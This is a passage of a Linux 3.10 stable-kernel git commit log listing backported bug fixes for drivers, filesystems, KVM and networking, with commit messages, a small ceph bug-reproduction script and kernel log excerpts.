will see errors such as Missed Service Intervals for isoc devices, and and Split transaction errors for LS/FS interrupt devices. Increasing the TRB_PER_SEGMENT will also increase the default endpoint ring size, which is welcome as for most isoc transfer we had to dynamically expand the endpoint ring anyway to be able to queue the 5 * 32TDs uvcvideo queues. The default size used to be 64 TRBs per segment Signed-off-by: Mathias Nyman Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 5d3cb9ee8a41d95a15bea654cd484c2e3d750cfb Author: Mathias Nyman Date: Thu Apr 30 17:16:02 2015 +0300 xhci: fix isoc endpoint dequeue from advancing too far on transaction error commit d104d0152a97fade389f47635b73a9ccc7295d0b upstream. Isoc TDs usually consist of one TRB, sometimes two. When all goes well we receive only one success event for a TD, and move the dequeue pointer to the next TD. This fails if the TD consists of two TRBs and we get a transfer error on the first TRB, we will then see two events for that TD. Fix this by making sure the event we get is for the last TRB in that TD before moving the dequeue pointer to the next TD. This will resolve some of the uvc and dvb issues with the "ERROR Transfer event TRB DMA ptr not part of current TD" error message Signed-off-by: Mathias Nyman Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit bbbe9a3eeb454cd494a09ee8a281aa80c5a5bacc Author: Andy Grover Date: Fri May 22 14:07:44 2015 -0700 target/pscsi: Don't leak scsi_host if hba is VIRTUAL_HOST commit 5a7125c64def3b21f8147eca8b54949a60963942 upstream. See https://bugzilla.redhat.com/show_bug.cgi?id=1025672 We need to put() the reference to the scsi host that we got in pscsi_configure_device(). In VIRTUAL_HOST mode it is associated with the dev_virt, not the hba_virt. Signed-off-by: Andy Grover Signed-off-by: Nicholas Bellinger Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit e4f61da4b81de3019ca8623311b639e018edaaac Author: Zidan Wang Date: Tue May 12 14:58:50 2015 +0800 ASoC: wm8994: correct BCLK DIV 348 to 384 commit 17fc2e0a3db11889e942c5ab15a1fcb876638f25 upstream. According to the RM of wm8958, BCLK DIV 348 doesn't exist, correct it to 384. Signed-off-by: Zidan Wang Acked-by: Charles Keepax Signed-off-by: Mark Brown Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit e3949b2db676da912b6122fa8c32c70331cdcde9 Author: Zidan Wang Date: Tue May 12 14:58:36 2015 +0800 ASoC: wm8960: fix "RINPUT3" audio route error commit 85e36a1f4a735d991ba5106781ea48e89a0b8901 upstream. It should be "RINPUT3" instead of "LINPUT3" route to "Right Input Mixer". Signed-off-by: Zidan Wang Acked-by: Charles Keepax Signed-off-by: Mark Brown Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit d7aed5f0ff07ad1789f2aaa3d1ede274e564c130 Author: Axel Lin Date: Mon Apr 27 14:51:35 2015 +0800 ASoC: mc13783: Fix wrong mask value used in mc13xxx_reg_rmw() calls commit 545774bd6e1427d98dde77244329d2311c5eca6f upstream. mc13xxx_reg_rmw() won't change any bit if passing 0 to the mask field. Pass AUDIO_SSI_SEL instead of 0 for the mask field to set AUDIO_SSI_SEL bit. Signed-off-by: Axel Lin Signed-off-by: Mark Brown Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 50315012de6777ab29996d2babca132cba01e14a Author: Takashi Iwai Date: Fri May 1 09:20:34 2015 +0200 ALSA: hda - Add headphone quirk for Lifebook E752 commit 88776f366ede7d9cdce60bd2c9753dd6d6fa8b77 upstream. Fujitsu Lifebook E752 laptop needs a similar quirk done for Lifebook T731. Otherwise the headphone is always muted. Reported-and-tested-by: Christian Weber Signed-off-by: Takashi Iwai Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 8c857d042cc74b3d20225411cbb7c530ad80e35b Author: David Henningsson Date: Wed May 13 13:28:54 2015 +0200 ALSA: hda - Add Conexant codecs CX20721, CX20722, CX20723 and CX20724 commit 6ffc0898b29a2811a6c0569c5dd9b581980110df upstream. This patch adds support for Conexant HD Audio codecs CX20721, CX20722, CX20723 and CX20724. BugLink: https://bugs.launchpad.net/bugs/1454656 Signed-off-by: David Henningsson Signed-off-by: Takashi Iwai Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit fd4e836d83f43d9b5b14a9d9105fb0b9286b9830 Author: Al Viro Date: Thu May 28 23:09:19 2015 -0400 d_walk() might skip too much commit 2159184ea01e4ae7d15f2017e296d4bc82d5aeb0 upstream. when we find that a child has died while we'd been trying to ascend, we should go into the first live sibling itself, rather than its sibling. Off-by-one in question had been introduced in "deal with deadlock in d_walk()" and the fix needs to be backported to all branches this one has been backported to. Signed-off-by: Al Viro Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 538ef6a0e1a491e014e40667702e790d32fefb5d Author: Jan Kara Date: Tue Jun 2 17:10:28 2015 +0200 lib: Fix strnlen_user() to not touch memory after specified maximum commit f18c34e483ff6b1d9866472221e4015b3a4698e4 upstream. If the specified maximum length of the string is a multiple of unsigned long, we would load one long behind the specified maximum. If that happens to be in a next page, we can hit a page fault although we were not expected to. Fix the off-by-one bug in the test whether we are at the end of the specified range. Signed-off-by: Jan Kara Signed-off-by: Linus Torvalds Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit b2353fc8523080f3285def127af587a486643478 Author: Chris Lesiak Date: Tue May 26 15:40:44 2015 -0500 hwmon: (ntc_thermistor) Ensure iio channel is of type IIO_VOLTAGE commit adba657533bdd255f7b78bc8a324091f46b294cd upstream. When configured via device tree, the associated iio device needs to be measuring voltage for the conversion to resistance to be correct. Return -EINVAL if that is not the case. Signed-off-by: Chris Lesiak Signed-off-by: Guenter Roeck Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit aa8ed8ff65f0b3fdb74556758141d6b02273979a Author: Ilya Dryomov Date: Mon May 11 17:53:10 2015 +0300 libceph: request a new osdmap if lingering request maps to no osd commit b0494532214bdfbf241e94fabab5dd46f7b82631 upstream. This commit does two things. First, if there are any homeless lingering requests, we now request a new osdmap even if the osdmap that is being processed brought no changes, i.e. if a given lingering request turned homeless in one of the previous epochs and remained homeless in the current epoch. Not doing so leaves us with a stale osdmap and as a result we may miss our window for reestablishing the watch and lose notifies. MON=1 OSD=1: # cat linger-needmap.sh #!/bin/bash rbd create --size 1 test DEV=$(rbd map test) ceph osd out 0 rbd map dne/dne # obtain a new osdmap as a side effect (!) sleep 1 ceph osd in 0 rbd resize --size 2 test # rbd info test | grep size -> 2M # blockdev --getsize $DEV -> 1M N.B.: Not obtaining a new osdmap in between "osd out" and "osd in" above is enough to make it miss that resize notify, but that is a bug^Wlimitation of ceph watch/notify v1. Second, homeless lingering requests are now kicked just like those lingering requests whose mapping has changed. This is mainly to recognize that a homeless lingering request makes no sense and to preserve the invariant that a registered lingering request is not sitting on any of r_req_lru_item lists. This spares us a WARN_ON, which commit ba9d114ec557 ("libceph: clear r_req_lru_item in __unregister_linger_request()") tried to fix the _wrong_ way. Signed-off-by: Ilya Dryomov Reviewed-by: Sage Weil Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 0502a725f3f2075b627ed1a568be756104d2bf7c Author: Rusty Russell Date: Wed May 27 10:59:26 2015 +0930 lguest: fix out-by-one error in address checking. commit 83a35114d0e4583e6b0ca39502e68b6a92e2910c upstream. This bug has been there since day 1; addresses in the top guest physical page weren't considered valid. You could map that page (the check in check_gpte() is correct), but if a guest tried to put a pagetable there we'd check that address manually when walking it, and kill the guest. Signed-off-by: Rusty Russell Signed-off-by: Linus Torvalds Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 1db66a581d826fa24b350397f128bfa9c4707793 Author: Sasha Levin Date: Thu May 28 15:44:29 2015 -0700 fs, omfs: add NULL terminator in the end up the token list commit dcbff39da3d815f08750552fdd04f96b51751129 upstream. match_token() expects a NULL terminator at the end of the token list so that it would know where to stop. Not having one causes it to overrun to invalid memory. In practice, passing a mount option that omfs didn't recognize would sometimes panic the system. Signed-off-by: Sasha Levin Signed-off-by: Bob Copeland Signed-off-by: Andrew Morton Signed-off-by: Linus Torvalds Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 5a757c8bf88897df581a1cb0c2d677354f6fc9eb Author: Paolo Bonzini Date: Thu Apr 2 11:04:05 2015 +0200 KVM: MMU: fix CR4.SMEP=1, CR0.WP=0 with shadow pages commit 898761158be7682082955e3efa4ad24725305fc7 upstream. smep_andnot_wp is initialized in kvm_init_shadow_mmu and shadow pages should not be reused for different values of it. Thus, it has to be added to the mask in kvm_mmu_pte_write. Reviewed-by: Xiao Guangrong Signed-off-by: Paolo Bonzini Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit f09e34745cee15ab46e0a077d23e8ef4be1ba4d8 Author: Junling Zheng Date: Mon Jun 1 09:28:00 2015 +0000 net: socket: Fix the wrong returns for recvmsg and sendmsg Based on 08adb7dabd4874cc5666b4490653b26534702ce0 upstream. We found that after v3.10.73, recvmsg might return -EFAULT while -EINVAL was expected. We tested it through the recvmsg01 testcase come from LTP testsuit. It set msg->msg_namelen to -1 and the recvmsg syscall returned errno 14, which is unexpected (errno 22 is expected): recvmsg01 4 TFAIL : invalid socket length ; returned -1 (expected -1), errno 14 (expected 22) Linux mainline has no this bug for commit 08adb7dab fixes it accidentally. However, it is too large and complex to be backported to LTS 3.10. Commit 281c9c36 (net: compat: Update get_compat_msghdr() to match copy_msghdr_from_user() behaviour) made get_compat_msghdr() return error if msg_sys->msg_namelen was negative, which changed the behaviors of recvmsg and sendmsg syscall in a lib32 system: Before commit 281c9c36, get_compat_msghdr() wouldn't fail and it would return -EINVAL in move_addr_to_user() or somewhere if msg_sys->msg_namelen was invalid and then syscall returned -EINVAL, which is correct. And now, when msg_sys->msg_namelen is negative, get_compat_msghdr() will fail and wants to return -EINVAL, however, the outer syscall will return -EFAULT directly, which is unexpected. This patch gets the return value of get_compat_msghdr() as well as copy_msghdr_from_user(), then returns this expected value if get_compat_msghdr() fails. Fixes: 281c9c36 (net: compat: Update get_compat_msghdr() to match copy_msghdr_from_user() behaviour) Signed-off-by: Junling Zheng Signed-off-by: Hanbing Xu Cc: Li Zefan Cc: Al Viro Cc: David Miller Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 7bcb306cfb2844cec47028b444427a4777415311 Author: Kirill A. Shutemov Date: Mon Oct 20 12:23:12 2014 +0300 kernel: use the gnu89 standard explicitly commit 51b97e354ba9fce1890cf38ecc754aa49677fc89 upstream. Sasha Levin reports: "gcc5 changes the default standard to c11, which makes kernel build unhappy Explicitly define the kernel standard to be gnu89 which should keep everything working exactly like it was before gcc5" There are multiple small issues with the new default, but the biggest issue seems to be that the old - and very useful - GNU extension to allow a cast in front of an initializer has gone away. Patch updated by Kirill: "I'm pretty sure all gcc versions you can build kernel with supports -std=gnu89. cc-option is redunrant. We also need to adjust HOSTCFLAGS otherwise allmodconfig fails for me" Note by Andrew Pinski: "Yes it was reported and both problems relating to this extension has been added to gnu99 and gnu11. Though there are other issues with the kernel dealing with extern inline have different semantics between gnu89 and gnu99/11" End result: we may be able to move up to a newer stdc model eventually, but right now the newer models have some annoying deficiencies, so the traditional "gnu89" model ends up being the preferred one. Signed-off-by: Sasha Levin Singed-off-by: Kirill A. Shutemov Signed-off-by: Linus Torvalds Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 75e83bfe28f92422b5243005e0ce2e214b4da54f Author: Behan Webster Date: Wed Oct 29 15:42:21 2014 -0700 staging, rtl8192e, LLVMLinux: Remove unused inline prototype commit 62ec95f86d2850b7ce6d73fb236a6fcf48411aea upstream. rtllib_probe_req is defined as "static inline" in rtllib_softmac.c however it is declared differently as "extern inline" in rtllib_softmac.h. Since it isn't used outside of the scope of rtllib_softmac, it makes sense to remove the incorrect declaration. Signed-off-by: Behan Webster Suggested-by: Arnd Bergmann Cc: Arnd Bergmann Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 5085b9ef7ce09051428f995436899a907e08cbd8 Author: Arnd Bergmann Date: Thu Jun 5 22:48:15 2014 +0200 staging: rtl8712, rtl8712: avoid lots of build warnings commit 0c9f3a65c5eb7fe1fc611a22eb8a8b71ea865998 upstream. The rtl8712 driver has an 'extern inline' function that contains an 'if', which causes lots of warnings with CONFIG_PROFILE_ALL_BRANCHES overriding the definition of 'if': drivers/staging/rtl8712/ieee80211.h:759:229: warning: '______f' is static but declared in inline function 'ieee80211_get_hdrlen' which is not static [enabled by default] This changes the driver to use 'static inline' instead, which happens to be the correct annotation anyway. Signed-off-by: Arnd Bergmann Cc: Larry Finger Cc: Florian Schilhabel Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 2d4fe63fb7e166471db17ca06fa02575a9bc1409 Author: Behan Webster Date: Wed Oct 29 15:42:20 2014 -0700 staging, rtl8192e, LLVMLinux: Change extern inline to static inline commit 6d91857d4826b382b3fd4fad95f52713be646f96 upstream. With compilers which follow the C99 standard (like modern versions of gcc and clang), "extern inline" does the opposite thing from older versions of gcc (emits code for an externally linkable version of the inline function). "static inline" does the intended behavior in all cases instead. Signed-off-by: Behan Webster Suggested-by: Arnd Bergmann Cc: Arnd Bergmann Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit b91d009d2c677f008408a946e14059cc30dea00b Author: Jan-Simon Möller Date: Mon May 6 14:52:08 2013 +0200 drm/i915: Fix declaration of intel_gmbus_{is_forced_bit/is_port_falid} commit 8f375e10ee47b9d7b9b3aefcf67854c6e92708be upstream. Description: intel_gmbus_is_forced_bit is no extern as its body is right below. Likewise for intel_gmbus_is_port_valid. This fixes a compilation issue with clang. An initial version of this patch was developed by PaX Team . This is respin of this patch. 20130509: v2: (re-)add inline upon request. Signed-off-by: Jan-Simon Möller CC: pageexec@freemail.hu CC: daniel.vetter@ffwll.ch CC: airlied@linux.ie CC: intel-gfx@lists.freedesktop.org CC: dri-devel@lists.freedesktop.org CC: linux-kernel@vger.kernel.org [danvet: Bikeshed commit message.] Signed-off-by: Daniel Vetter Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit cd8fcf69326bf525b948ca8ba932088e28989884 Author: Greg Kroah-Hartman Date: Sat May 23 13:26:23 2015 -0700 staging: wlags49_h2: fix extern inline functions Patch not upstream as this driver is deleted there. Fix up some "extern inline" functions as they break the build when using a "modern" complier (i.e. gcc5). Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit bbf7300cf8ce1d107484fa17d02dd3b419ec61ed Author: Greg Kroah-Hartman Date: Sun May 17 09:51:39 2015 -0700 Linux 3.10.79 Signed-off-by: Pranav Vashi commit 532f6f9c19b57fc14be50861cd6134a40f3dd2d2 Author: Lv Zheng Date: Mon Apr 13 11:48:37 2015 +0800 ACPICA: Utilities: Cleanup to enforce ACPI_PHYSADDR_TO_PTR()/ACPI_PTR_TO_PHYSADDR(). commit 6d3fd3cc33d50e4c0d0c0bd172de02caaec3127c upstream. ACPICA commit 154f6d074dd38d6ebc0467ad454454e6c5c9ecdf There are code pieces converting pointers using "(acpi_physical_address) x" or "ACPI_CAST_PTR (t, x)" formats, this patch cleans up them. Known issues: 1. Cleanup of "(ACPI_PHYSICAL_ADDRRESS) x" for a table field For the conversions around the table fields, it is better to fix it with alignment also fixed. So this patch doesn't modify such code. There should be no functional problem by leaving them unchanged. Link: https://github.com/acpica/acpica/commit/154f6d07 Signed-off-by: Lv Zheng Signed-off-by: Bob Moore Signed-off-by: Rafael J. Wysocki Signed-off-by: Dirk Behme Signed-off-by: George G. Davis Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit f56fd33ba6c8547ad3b41e1eacf92ab5a79b2068 Author: Lv Zheng Date: Mon Apr 13 11:48:18 2015 +0800 ACPICA: Tables: Change acpi_find_root_pointer() to use acpi_physical_address. commit f254e3c57b9d952e987502aefa0804c177dd2503 upstream. ACPICA commit 7d9fd64397d7c38899d3dc497525f6e6b044e0e3 OSPMs like Linux expect an acpi_physical_address returning value from acpi_find_root_pointer(). This triggers warnings if sizeof (acpi_size) doesn't equal to sizeof (acpi_physical_address): drivers/acpi/osl.c:275:3: warning: passing argument 1 of 'acpi_find_root_pointer' from incompatible pointer type [enabled by default] In file included from include/acpi/acpi.h:64:0, from include/linux/acpi.h:36, from drivers/acpi/osl.c:41: include/acpi/acpixf.h:433:1: note: expected 'acpi_size *' but argument is of type 'acpi_physical_address *' This patch corrects acpi_find_root_pointer(). Link: https://github.com/acpica/acpica/commit/7d9fd643 Signed-off-by: Lv Zheng Signed-off-by: Bob Moore Signed-off-by: Rafael J. Wysocki Signed-off-by: Dirk Behme Signed-off-by: George G. Davis Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 7e99b338903e6e42bf0d7c2583966dbde3001a1b Author: Christoph Hellwig Date: Thu Nov 14 14:32:06 2013 -0800 revert "softirq: Add support for triggering softirq work on softirqs" commit fc21c0cff2f425891b28ff6fb6b03b325c977428 upstream. This commit was incomplete in that code to remove items from the per-cpu lists was missing and never acquired a user in the 5 years it has been in the tree. We're going to implement what it seems to try to archive in a simpler way, and this code is in the way of doing so. Signed-off-by: Christoph Hellwig Cc: Jan Kara Cc: Jens Axboe Signed-off-by: Andrew Morton Signed-off-by: Linus Torvalds Cc: Pan Xinhui Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit abcbdb30e36655fe127cef0a95024b8796cc13fb Author: Alexey Khoroshilov Date: Sat Apr 18 02:53:25 2015 +0300 sound/oss: fix deadlock in sequencer_ioctl(SNDCTL_SEQ_OUTOFBAND) commit bc26d4d06e337ade069f33d3f4377593b24e6e36 upstream. A deadlock can be initiated by userspace via ioctl(SNDCTL_SEQ_OUTOFBAND) on /dev/sequencer with TMR_ECHO midi event. In this case the control flow is: sound_ioctl() -> case SND_DEV_SEQ: case SND_DEV_SEQ2: sequencer_ioctl() -> case SNDCTL_SEQ_OUTOFBAND: spin_lock_irqsave(&lock,flags); play_event(); -> case EV_TIMING: seq_timing_event() -> case TMR_ECHO: seq_copy_to_input() -> spin_lock_irqsave(&lock,flags); It seems that spin_lock_irqsave() around play_event() is not necessary, because the only other call location in seq_startplay() makes the call without acquiring spinlock. So, the patch just removes spinlocks around play_event(). By the way, it removes unreachable code in seq_timing_event(), since (seq_mode == SEQ_2) case is handled in the beginning. Compile tested only. Found by Linux Driver Verification project (linuxtesting.org). Signed-off-by: Alexey Khoroshilov Signed-off-by: Takashi Iwai Cc: Willy Tarreau Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 5e9e9b53860c91ffa7481b5e957fc3c8b4db5904 Author: Chuanxiao Dong Date: Tue Aug 12 12:01:30 2014 +0800 mmc: card: Don't access RPMB partitions for normal read/write commit 4e93b9a6abc0d028daf3c8a00cb77b679d8a4df4 upstream. During kernel boot, it will try to read some logical sectors of each block device node for the possible partition table. But since RPMB partition is special and can not be accessed by normal eMMC read / write CMDs, it will cause below error messages during kernel boot: ... mmc0: Got data interrupt 0x00000002 even though no data operation was in progress. mmcblk0rpmb: error -110 transferring data, sector 0, nr 32, cmd response 0x900, card status 0xb00 mmcblk0rpmb: retrying using single block read mmcblk0rpmb: timed out sending r/w cmd command, card status 0x400900 mmcblk0rpmb: timed out sending r/w cmd command, card status 0x400900 mmcblk0rpmb: timed out sending r/w cmd command, card status 0x400900 mmcblk0rpmb: timed out sending r/w cmd command, card status 0x400900 mmcblk0rpmb: timed out sending r/w cmd command, card status 0x400900 mmcblk0rpmb: timed out sending r/w cmd command, card status 0x400900 end_request: I/O error, dev mmcblk0rpmb, sector 0 Buffer I/O error on device mmcblk0rpmb, logical block 0 end_request: I/O error, dev mmcblk0rpmb, sector 8 Buffer I/O error on device mmcblk0rpmb, logical block 1 end_request: I/O error, dev mmcblk0rpmb, sector 16 Buffer I/O error on device mmcblk0rpmb, logical block 2 end_request: I/O error, dev mmcblk0rpmb, sector 24 Buffer I/O error on device mmcblk0rpmb, logical block 3 ... This patch will discard the access request in eMMC queue if it is RPMB partition access request. By this way, it avoids trigger above error messages. Fixes: 090d25fe224c ("mmc: core: Expose access to RPMB partition") Signed-off-by: Yunpeng Gao Signed-off-by: Chuanxiao Dong Tested-by: Michael Shigorin Signed-off-by: Ulf Hansson Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit d18132354bf4f17053989a894c14cec304ab9ca4 Author: Lukas Wunner Date: Mon May 4 15:06:49 2015 +0200 drm/i915: Add missing MacBook Pro models with dual channel LVDS commit 3916e3fd81021fb795bfbdb17f375b6b3685bced upstream. Single channel LVDS maxes out at 112 MHz. The 15" pre-retina models shipped with 1440x900 (106 MHz) by default or 1680x1050 (119 MHz) as a BTO option, both versions used dual channel LVDS even though the smaller one would have fit into a single channel. Notes: Bug report showing that the MacBookPro8,2 with 1440x900 uses dual channel LVDS (this lead to it being hardcoded in intel_lvds.c by Daniel Vetter with commit 618563e3945b9d0864154bab3c607865b557cecc): https://bugzilla.kernel.org/show_bug.cgi?id=42842 If i915.lvds_channel_mode=2 is missing even though the machine needs it, every other vertical line is white and consequently, only the left half of the screen is visible (verified by myself on a MacBookPro9,1). Forum posting concerning a MacBookPro6,2 with 1440x900, author is using i915.lvds_channel_mode=2 on the kernel command line, proving that the machine uses dual channels: https://bbs.archlinux.org/viewtopic.php?id=185770 Chi Mei N154C6-L04 with 1440x900 is a replacement panel for all MacBook Pro "A1286" models, and that model number encompasses the MacBookPro6,2 / 8,2 / 9,1. Page 17 of the panel's datasheet shows it's driven with dual channel LVDS: http://www.ebay.com/itm/-/400690878560 http://www.everymac.com/ultimate-mac-lookup/?search_keywords=A1286 http://www.taopanel.com/chimei/datasheet/N154C6-L04.pdf Those three 15" models, MacBookPro6,2 / 8,2 / 9,1, are the only ones with i915 graphics and dual channel LVDS, so that list should be complete. And the 8,2 is already in intel_lvds.c. Possible motivation to use dual channel LVDS even on the 1440x900 models: Reduce the number of different parts, i.e. use identical logic boards and display cabling on both versions and the only differing component is the panel. Signed-off-by: Lukas Wunner Acked-by: Jani Nikula [Jani: included notes in the commit message for posterity] Signed-off-by: Jani Nikula Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 3e073d188de2109ecf1f67ed90f6c6fca0ab60d0 Author: Gregory CLEMENT Date: Tue Apr 14 11:50:13 2015 +0200 ARM: mvebu: armada-xp-openblocks-ax3-4: Disable internal RTC commit 750e30d4076ae5e02ad13a376e96c95a2627742c upstream. There is no crystal connected to the internal RTC on the Open Block AX3. So let's disable it in order to prevent the kernel probing the driver uselessly. Eventually this patches removes the following warning message from the boot log: "rtc-mv d0010300.rtc: internal RTC not ticking" Acked-by: Andrew Lunn Signed-off-by: Gregory CLEMENT Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 65d0d9bc4c000ea7417db21fe0e221b544fe5e7f Author: Stefan Wahren Date: Tue Apr 14 20:37:26 2015 +0000 ARM: dts: imx23-olinuxino: Fix dr_mode of usb0 commit 0fdebe1a2f4d3a8fc03754022fabf8ba95e131a3 upstream. The dr_mode of usb0 on imx233-olinuxino is left to default "otg". Since the green LED (GPIO2_1) on imx233-olinuxino is connected to the same pin as USB_OTG_ID it's possible to disable USB host by LED toggling: echo 0 > /sys/class/leds/green/brightness [ 1068.890000] ci_hdrc ci_hdrc.0: remove, state 1 [ 1068.890000] usb usb1: USB disconnect, device number 1 [ 1068.920000] usb 1-1: USB disconnect, device number 2 [ 1068.920000] usb 1-1.1: USB disconnect, device number 3 [ 1069.070000] usb 1-1.2: USB disconnect, device number 4 [ 1069.450000] ci_hdrc ci_hdrc.0: USB bus 1 deregistered [ 1074.460000] ci_hdrc ci_hdrc.0: timeout waiting for 00000800 in 11 This patch fixes the issue by setting dr_mode to "host" in the dts file. Reported-by: Harald Geyer Signed-off-by: Stefan Wahren Reviewed-by: Fabio Estevam Reviewed-by: Marek Vasut Acked-by: Peter Chen Fixes: b49312948285 ("ARM: dts: imx23-olinuxino: Add USB host support") Signed-off-by: Shawn Guo Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit c40f7a5bffcc1a30d0f0ba727fa5f5c152d4d8a9 Author: Marek Vasut Date: Fri Apr 24 13:29:47 2015 +0200 ARM: dts: imx28: Fix AUART4 TX-DMA interrupt name commit 4ada77e37a773168fea484899201e272ab44ba8b upstream. Fix a typo in the TX DMA interrupt name for AUART4. This patch makes AUART4 operational again. Signed-off-by: Marek Vasut Fixes: f30fb03d4d3a ("ARM: dts: add generic DMA device tree binding for mxs-dma") Acked-by: Stefan Wahren Signed-off-by: Shawn Guo Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 5ab3d3b90768ce94e47a76e448703005df91e64f Author: Markus Pargmann Date: Fri Apr 24 09:27:33 2015 +0200 ARM: dts: imx25: Add #pwm-cells to pwm4 commit f90d3f0d0a11fa77918fd5497cb616dd2faa8431 upstream. The property '#pwm-cells' is currently missing. It is not possible to use pwm4 without this property. Signed-off-by: Markus Pargmann Fixes: 5658a68fb578 ("ARM i.MX25: Add devicetree") Reviewed-by: Fabio Estevam Signed-off-by: Shawn Guo Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit a4c424d38795382c07666d61d4d8e7e83421883a Author: Johan Hovold Date: Tue Apr 21 17:42:09 2015 +0200 gpio: sysfs: fix memory leaks and device hotplug commit 483d821108791092798f5d230686868112927044 upstream. Unregister GPIOs requested through sysfs at chip remove to avoid leaking the associated memory and sysfs entries. The stale sysfs entries prevented the gpio numbers from being exported when the gpio range was later reused (e.g. at device reconnect). This also fixes the related module-reference leak. Note that kernfs makes sure that any on-going sysfs operations finish before the class devices are unregistered and that further accesses fail. The chip exported flag is used to prevent gpiod exports during removal. This also makes it harder to trigger, but does not fix, the related race between gpiochip_remove and export_store, which is really a race with gpiod_request that needs to be addressed separately. Also note that this would prevent the crashes (e.g. NULL-dereferences) at reconnect that affects pre-3.18 kernels, as well as use-after-free on operations on open attribute files on pre-3.14 kernels (prior to kernfs). Fixes: d8f388d8dc8d ("gpio: sysfs interface") Signed-off-by: Johan Hovold Signed-off-by: Linus Walleij Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit f640ed9ac5e0e127a3983c210f3ef38a5afd13f3 Author: Johan Hovold Date: Mon Jan 12 17:12:29 2015 +0100 gpio: unregister gpiochip device before removing it commit 01cca93a9491ed95992523ff7e79dd9bfcdea8e0 upstream. Unregister gpiochip device (used to export information through sysfs) before removing it internally. This way removal will reverse addition. Signed-off-by: Johan Hovold Signed-off-by: Linus Walleij Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 5d75e927503f0331063084bab0f86c17c11d9571 Author: Boris Ostrovsky Date: Wed Apr 29 17:10:14 2015 -0400 xen/console: Update console event channel on resume commit b9d934f27c91b878c4b2e64299d6e419a4022f8d upstream. After a resume the hypervisor/tools may change console event channel number. We should re-query it. Signed-off-by: Boris Ostrovsky Signed-off-by: David Vrabel Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 2ba874c1213f69964868baa3b577f698971dcdab Author: Naoya Horiguchi Date: Tue May 5 16:23:35 2015 -0700 mm/memory-failure: call shake_page() when error hits thp tail page commit 09789e5de18e4e442870b2d700831f5cb802eb05 upstream. Currently memory_failure() calls shake_page() to sweep pages out from pcplists only when the victim page is 4kB LRU page or thp head page. But we should do this for a thp tail page too. Consider that a memory error hits a thp tail page whose head page is on a pcplist when memory_failure() runs. Then, the current kernel skips shake_pages() part, so hwpoison_user_mappings() returns without calling split_huge_page() nor try_to_unmap() because PageLRU of the thp head is still cleared due to the skip of shake_page(). As a result, me_huge_page() runs for the thp, which is broken behavior. One effect is a leak of the thp. And another is to fail to isolate the memory error, so later access to the error address causes another MCE, which kills the processes which used the thp. This patch fixes this problem by calling shake_page() for thp tail case. Fixes: 385de35722c9 ("thp: allow a hwpoisoned head page to be put back to LRU") Signed-off-by: Naoya Horiguchi Reviewed-by: Andi Kleen Acked-by: Dean Nelson Cc: Andrea Arcangeli Cc: Hidetoshi Seto Cc: Jin Dongming Signed-off-by: Andrew Morton Signed-off-by: Linus Torvalds Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 40e23baef527ec87432b5dcba9d15098db6f5c8d Author: Ryusuke Konishi Date: Tue May 5 16:24:00 2015 -0700 nilfs2: fix sanity check of btree level in nilfs_btree_root_broken() commit d8fd150fe3935e1692bf57c66691e17409ebb9c1 upstream. The range check for b-tree level parameter in nilfs_btree_root_broken() is wrong; it accepts the case of "level == NILFS_BTREE_LEVEL_MAX" even though the level is limited to values in the range of 0 to (NILFS_BTREE_LEVEL_MAX - 1). Since the level parameter is read from storage device and used to index nilfs_btree_path array whose element count is NILFS_BTREE_LEVEL_MAX, it can cause memory overrun during btree operations if the boundary value is set to the level parameter on device. This fixes the broken sanity check and adds a comment to clarify that the upper bound NILFS_BTREE_LEVEL_MAX is exclusive. Signed-off-by: Ryusuke Konishi Signed-off-by: Andrew Morton Signed-off-by: Linus Torvalds Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit ae9cb90a374a3cdd26454bc08b9b5d77939fe213 Author: Junxiao Bi Date: Tue May 5 16:24:02 2015 -0700 ocfs2: dlm: fix race between purge and get lock resource commit b1432a2a35565f538586774a03bf277c27fc267d upstream. There is a race window in dlm_get_lock_resource(), which may return a lock resource which has been purged. This will cause the process to hang forever in dlmlock() as the ast msg can't be handled due to its lock resource not existing. dlm_get_lock_resource { ... spin_lock(&dlm->spinlock); tmpres = __dlm_lookup_lockres_full(dlm, lockid, namelen, hash); if 